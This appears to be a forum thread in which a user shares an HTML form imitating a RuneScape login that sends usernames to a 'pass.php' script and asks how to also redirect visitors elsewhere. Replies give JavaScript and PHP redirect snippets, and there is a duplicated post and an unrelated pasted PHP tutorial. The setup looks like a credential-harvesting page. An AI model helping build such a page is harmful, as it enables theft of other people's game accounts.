.php or some kind of html coding?

  • Thread starter Thread starter Doctor Corbz
  • Start date Start date
D

Doctor Corbz

Guest
<form id="login_form" action="pass.php" method="get" autocomplete="off">
<div class="section_form">

how would I make this redirect to a website?
Login to Access this Feature
</div>
<div id="inner_brown_box_login" class="inner_brown_box">

<div class="hideme_wrapper">
Please enter your username and password to continue.
</div>
<div class="loginapplet_wrapper">
<div class="login_form">
<form id="login_form" action="pass.php" method="get" autocomplete="off">
<div class="section_form">
<span style="float: left">RuneScape username:</span>
<input style="float: right" size="20" type="text" name="username" maxlength="12">
<br class="clear">
</div>
I have my form sending there information to the "pass.php" file but I would also like it to redirect to a specified link and send the infomation to the "pass.php" file
 
You can add this:
<script language="JavaScript">
window.location="http://example.com/"
</script>

Edit:
I don't suggest you use "get", "post is better and more secure.
However, you can add this before the end of the form:
<input type="submit" name="submit" value="Submit">
and add this to the beginning of the page:
<?php
$c_username="theCorrectUsername";
if ($_GET['username'] != $c_username){
echo "<script language='JavaScript'> window.location='http://example.com/' </script>";
}
?>
 
If you using Form element with action attribute in HTML it invokes (redirects) automatically while the submit button clicked on the Form...

Other wise you write Script
 
You can add this:
<script language="JavaScript">
window.location="http://example.com/"
</script>

Edit:
I don't suggest you use "get", "post is better and more secure.
However, you can add this before the end of the form:
<input type="submit" name="submit" value="Submit">
and add this to the beginning of the page:
<?php
$c_username="theCorrectUsername";
if ($_GET['username'] != $c_username){
echo "<script language='JavaScript'> window.location='http://example.com/' </script>";
}
?>
 
PHP is not simply about outputting random values and simple text. You can seamlessly integrate PHP with HTML and output tables, formatted text, and more. You are probably wondering, what's the big deal about this? The deal is that you can control what is displayed on your site by integrating PHP and HTML. Best of all, PHP does not have its own set of formatting tags for you to learn. You use HTML.

So let's get started. First, copy and paste the following code into a PHP page:

<html>
<body>
<?php
print("Can gophers really code PHP?");
?>
</body>
</html>
When you preview the page containing the above code, you should see the text "Can gophers really code PHP?" The text is not formatted at all. You will see the text displayed in whatever the default font is set to on your browser.

You don't have to suffer through dull, boring text though. You can format it - all inside the PHP tag area. Let's say you want to Bold the text. Add the HTML tags for bold, <b> and </b> tags to your text:

<?php
print("<b>Can gophers really code PHP?</b>");
?>
When you modify the code within your PHP tags with your Bold tags (see above code) and preview the page in your browser, you will find that the text is now bolded. Pretty cool, ehh? Now, let's try adding a horizontal line below the text. The html tag for displaying a horizontal line is <hr>.

Let's add that tag to our code:

<?php
print("<b>Can gophers really code PHP?</b>");
print("<hr>");
?>
Now, test this code. You should now see your text with a horizontal line displayed. Just remember, all we used was standard HTML tags using the print command.

Outputting Data Involving Quotes
While all of this is pretty straightforward, there will be situations where you simply cannot place a series of HTML tags within the confines of the print command. The following is one such example

Let's say we want to make our text a hyperlink. The HTML for doing such a trick is:

<a href="http://www.kirupa.com/">Can gophers really code PHP?</a>

Now, we cannot simply place the above HTML inside the print command. The reason is because of the dreaded quotation marks surrounding the URL. PHP misinterprets the quotation marks as referring to the end of the print command. You will probably end up with an error.

The solution for outputting quotation marks, is to use the following two characters (quotation mark and back slash) in the place of a quotation mark: \" . Therefore, the print command for the above HTML code becomes:

<?php
print("<a href=\"http://www.kirupa.com/\">Can gophers really code PHP?</a>");
?>
I emphasized the areas where a " was replaced with \" by coloring those characters in pink color. Whenever you see a quote, simply add a \ in front of it (or replace the quotation mark with a \"). I know I am repeating that again and again, but that is a minor detail that you may end up forgetting in the heat of the coding!
 
php is like another form of .html if you're asking on how to redirect a site to another you would use the code: (< a href="" target=_blank"> ) without the parentheses you can check out www.pixelfx.org for specific tutorials.
 
Back
Top